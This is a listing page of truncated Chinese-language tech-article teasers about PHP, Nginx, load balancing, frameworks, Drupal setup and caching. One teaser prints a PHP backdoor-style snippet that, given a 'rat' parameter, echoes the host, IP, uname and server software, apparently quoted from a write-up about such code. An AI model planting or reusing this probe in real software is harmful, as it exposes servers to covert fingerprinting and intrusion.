Time of Update: 2016-08-08
首先在function.php中定義一個函數://關鍵字描紅function keywords_red($string,$keywords=''){ if(empty($keywords)||empty($string)) return $string; return
Time of Update: 2016-08-08
php Fatal error: Maximum execution time of 30 seconds exceeded in 問題的解決方案:轉載自:www.alixixi.com/program/a/2011110575885.shtml這個錯誤是說你的php執行時間越過了設定檔中設定的最大執行時間30秒鐘,這不是你的程式本身存在的問題,而
Time of Update: 2016-08-08
PS:Nginx/LVS/HAProxy是目前使用最廣泛的三種負載平衡軟體,本人都在多重專案中實施過,參考了一些資料,結合自己的一些使用經驗,總結一下。一般對負載平衡的使用是隨著網站規模的提升根據不同的階段來使用不同的技術。具體的應用需求還得具體分析,如果是中小型的Web應用,比如日PV小於1000萬,用Nginx就完全可以了;如果機器不少,可以用DNS輪詢,LVS所耗費的機器還是比較多的;大型網站或重要的服務,且伺服器比較多時,可以考慮用LVS。一種是通過硬體來進行進行,常見的硬體有比較昂貴的
Time of Update: 2016-08-08
安裝Nginx的方式有很多種,這裡我們還是編譯原始碼進行安裝,使用下列命令:如果安裝過程中出現一下錯誤:則需要先安裝PCRE:安裝完成後,Nginx安裝目錄在 / usr / local / nginx 。接下來修改nginx的設定檔(/usr/local/nginx/conf/nginx.conf),使其能夠處理PHP指令碼:最後,啟動Nginx時,需要先啟動PHP-FPM。對於Nginx的重啟以及關閉操作,可以使用以下命令:而PHP-FPM則比較麻煩點,需要先使用ps -ef | grep
Time of Update: 2016-08-08
Yii架構自動產生的Web應用骨架的目錄裡面有連個腳步檔案,yiic和yiic.bat。yiic是Unix/Linux平台用的,yiic.bat是windows平台用的。如果要查看指令碼的協助可以進入到腳步所在的根目錄,然後執行yiic help,他會列出所有可用的命令,裡麵包括Yii提供的系統命令和使用者自訂的命令。如果要知道如何執行一個命令可以執行以下命令:1yiic help如果要執行一個命令,可以使用如下格式:1yiic
Time of Update: 2016-08-08
ActiveReocrd 模式這種模式最大的特別就是簡化了CURD 的操作,並且採用對象化的操作方式,便於使用和理解。//添加一條資料$user = M('User');$user->user = '火影忍者';$user->email = 'huoyin@qq.com';$user->date = date('Y-m-d H:i:s');$user->add();//結合create$user = M('User');$user->create();$user->date = date('Y-
Time of Update: 2016-08-08
安裝好httpd、mariadb和php,啟動httpd和mariadb,建立一個UTF-8字元集的資料庫。在Drupal官網下載Drupal core和Drupal translations這2個檔案:drupal-7.34.tar.gz、drupal-7.34.zh-hans.po。tar xzvf drupal-7.34.tar.gzcd drupal-7.34拷貝所有檔案到web目錄,包括2個隱藏檔案。cp -R * /var/www/htmlcp .gitignore
Time of Update: 2016-08-08
由於JSON可以在很多種程式語言中使用,所以我們可以用來做小型資料中轉,如:PHP輸出JSON字串供JavaScript使用等。在PHP中可以使用 json_decode() 由一串規範的字串解析出 JSON對象,使用 json_encode() 由JSON 對象產生一串規範的字串。例:$json = '{"a":1, "b":2, "c":3, "d":4, "e":5
Time of Update: 2016-08-08
window7 下 安裝 apache24(httpd-2.4.10-x86-r2)加 php5.6(php-5.6.4-Win32-VC11-x86)加yaf(php_yaf-2.3.3-5.6-ts-vc11-x86)整合下載httpd-2.4.10-x86-r2.zip| php-5.6.4-Win32-VC11-x86.zip |php_yaf-2.3.3-5.6-ts-vc11-x86.zip下載地址: httpd-2.4.10-x86-r2.zip
Time of Update: 2016-08-08
引言pack、unpack函數,如果沒有接觸過socket,這個可能會比較陌生,這兩個函數在socket互動的作用是組包,將資料裝進一個二進位字串,和對二進位字串中的資料進行解包,這個裡面有好多種格式,具體的格式可以去查查官方的手冊(或者等看完本篇文章之後,去調用介面查看),我這裡主要用了pack(“N”,int),pack(“a”,str)以及他們兩個對應的解包函數,N在手冊中的解釋是下面這個,佔4個位元組,大端方式(其實就是低位在前還是在後的問
Time of Update: 2016-08-08
原創文章,轉載請註明: 轉載自pagefault本文連結地址: nginx對keepalive和pipeline請求處理分析這次主要來看nginx中對keepalive和pipeline的處理,這裡概念就不用介紹了。直接來看nginx是如何來做的。首先來看keepalive的處理。我們知道http 1.1中keepalive是預設的,除非用戶端顯式的指定connect頭為close。下面就是nginx判斷是否需要keepalive的代碼。12345678910111213141516171819
Time of Update: 2016-08-08
原文地址:http://hello1010.com/bind-wechat/二維條碼/二維碼(2-dimensional bar
Time of Update: 2016-08-08
因為微博程式中用戶端與伺服器端的資料傳遞有時會耗時很長,所以採用多進程非同步處理,就是介面UI與資料的發送接收不在一個進程裡。每次資料轉送的時候會開一個新的線程。 BaseTask就是這個記錄非同步任務屬性的類package com.app.demos.base;public class BaseTask {public static final int TASK_COMPLETE = 0; //任務完成public static final int NETWORK_ERROR = 1
Time of Update: 2016-08-08
今天打算練習redis操作,在命令列下運行發現串連暢通無阻。後來用apache運行,發現串連不了redis用戶端(redis server went
Time of Update: 2016-08-08
php 字元編碼轉換類,支援ANSI、Unicode、Unicode big endian、UTF-8、UTF-8+Bom 互相轉換。四種常見文字檔編碼方式ANSI編碼:無檔案頭(檔案編碼開頭標誌性位元組)ANSI編碼字母數字佔一個位元組,漢字佔兩個位元組斷行符號分行符號,單位元組, 十六進位表示為0d 0aUNICODE編碼:檔案頭,十六進位表示為FF FE每一個字元都用兩個位元組編碼斷行符號分行符號, 雙位元組,十六進位表示為 000d 000aUnicode big
Time of Update: 2016-08-08
0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo
Time of Update: 2016-08-08
準備工具一般來說,在windows上配置開發環境是一個很艱苦的事情。而vagrant的出現則是我們開發人員的一個福利。大大的減輕了我們的配置的複雜新,但是雖然有所減輕,但還是要動手配一些的。話不多說,下面開始進入正題,首先來說下需要一些什麼: 1. windows已經裝好了git,如果沒裝,點這裡 2. 需要安裝好php(只需要php,其他的都不需要,並且在php.ini裡面開啟openssl擴充)。 3. 然後需要composer和vagrant 和 virtualbox
Time of Update: 2016-08-08
以前只關注過Zend Optimizer,因為高胖子的書就是這樣教的,但是遇到奇葩公司的面試題提問你知道多少個php加速器/緩衝,我一下子楞了,因為我所知道的php5.2.x只用過Zend Optimizer,而且加密過的php程式只能在Zend Optimizer下面運行。但是php5.3.x以上版本,Zend Optimizer支援不了了,更別提eAccelerator、Xcache、APC。Zend guard loader可以支援php5.3.x以上版本,而且最新的php5.5.x版本,
Time of Update: 2016-08-08
在ubuntu機器上部署php測試環境一、部署環境Ubuntu11.10_X86_32,編譯安裝相應的軟體:nginx+mysql+php。二、軟體安裝2.1 軟體下載libiconv-1.14.tar.gzlibmcrypt-2.5.7.tar.gzmcrypt-2.6.8.gzmhash-0.9.9.9.tar.gzmysql-5.5.39.tar.gznginx-1.1.10.tar.gzpcre-8.20.tar.gzphp-5.4.34.tar.gz2.2
Time of Update: 2016-08-08
搗鼓了幾天discuz的緩衝,弄出了些頭緒,效率真低,2333333~~~~discuz可以使用多種緩衝,這裡只說資料緩衝。discuz支援redis、memcache等緩衝方式,只要在/config/config_global.php裡設定一下,並且環境支援就可以使用了。其實讀寫緩衝還是比較簡單的,代碼如下:require_once libfile('function/cache'); //載入緩衝類savecache($cachename, $data);